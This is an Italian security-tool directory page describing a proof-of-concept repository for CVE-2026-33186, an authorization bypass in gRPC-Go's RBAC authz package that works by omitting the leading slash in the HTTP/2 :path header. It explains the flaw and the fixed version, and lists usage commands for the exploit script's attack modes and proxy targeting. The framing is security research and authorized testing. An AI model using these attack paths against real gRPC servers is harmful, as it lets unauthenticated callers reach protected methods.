Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33186 — Bypass della policy di autorizzazione RBAC in gRPC-Go tramite slash `:path` mancante (Bypass dell'autenticazione) | Kitploit
Strumenti/GitHubGitHub/johanneslks/cve-2026-33186
Autenticazione e AutorizzazioneExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza delle API
GitHubjohanneslks/cve-2026-33186

CVE-2026-33186

Bypass della policy di autorizzazione RBAC in gRPC-Go tramite slash `:path` mancante (Bypass dell'autenticazione)

Vedi Repository
1123 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33186

Bypass delle policy di autorizzazione RBAC di gRPC-Go tramite slash mancante in :path (Auth Bypass)

Descrizione

Il pacchetto authz in google.golang.org/grpc implementa l'autorizzazione RBAC a livello di SDK utilizzando regole deny e allow confrontate con lo pseudo-header :path. Il trasporto del server HTTP/2 memorizza il valore :path grezzo proveniente dal client senza verificare che inizi con /. Il livello di routing (handleStream) normalizza il percorso prima dell'invio, ma il motore RBAC legge il valore pre-normalizzazione dal contesto tramite grpc.Method(ctx).

Le regole deny sono scritte come /Service/Method (con slash iniziale). L'invio di :path = "Service/Method" (senza slash) fa sì che la regola deny fallisca il confronto sul primo carattere. Scatta la regola allow predefinita e il metodo protetto viene eseguito.

Qualsiasi server gRPC che utilizza authz.NewStatic() o authz.NewFileWatcher() con regole deny è vulnerabile. Un client HTTP/2 grezzo (Python h2, curl --http2 o qualsiasi writer di frame personalizzato) è sufficiente per sfruttare la vulnerabilità: non servono credenziali né stato precedente.

La verifica dal vivo contro grpc-go v1.71.0 ha restituito lo stato gRPC 0 (OK) su un AdminMethod in deny-list quando la slash iniziale è stata omessa, mentre la chiamata identica con la slash canonica ha restituito lo stato 7 (PermissionDenied).

Versioni interessate: google.golang.org/grpc < v1.79.3. Corretto in v1.79.3 (PR #8981).

Utilizzo

# Install the Python HTTP/2 dependency:
pip install h2

# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod

# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
  --service MyService --method SecretMethod

# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash

# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
  --path-mode double-slash --service MyService --method SecretMethod

# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
  --attack-path '//MyService/SecretMethod'

# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt

--host controlla l'host :authority HTTP/2 a meno che non sia impostato --authority. --connect-host controlla la destinazione TCP. Ciò è utile per configurazioni con virtual-host o reverse-proxy in cui l'IP raggiungibile è diverso dall'autorità del backend instradato.

Il caso canonico per grpc-go è --path-mode no-slash. double-slash e custom sono helper generici per ambienti in cui un proxy inoltra al backend vulnerabile un percorso malformato di forma diversa.

Requisiti

  • Attaccante: Python 3.8+, h2 (pip install h2)
  • Obiettivo: server gRPC-Go che utilizza il pacchetto authz con regole deny

File

FileDescrizione
poc.pyPoC Python -- invia 3 chiamate HTTP/2 grezze (baseline/attacco/controllo) per dimostrare il bypass
README.mdDettagli della vulnerabilità, esempi di utilizzo e riferimenti
LICENSELicenza GPLv3

Riferimenti

  • https://github.com/grpc/grpc-go/security/advisories/GHSA-p77j-4mvh-x3m3
  • https://github.com/grpc/grpc-go/pull/8981

Nota legale

Questo progetto è rilasciato sotto GNU GPLv3.

È fornito per ricerca di sicurezza difensiva, formazione e test autorizzati. Non utilizzare questo codice contro sistemi o servizi senza il permesso esplicito del proprietario.

L'uso non autorizzato potrebbe violare la legge applicabile. Gli autori non concedono il permesso di testare sistemi di terze parti e non sono responsabili di un uso improprio.

Consulta il file LICENSE per i termini di garanzia e responsabilità.

Scarica lo strumento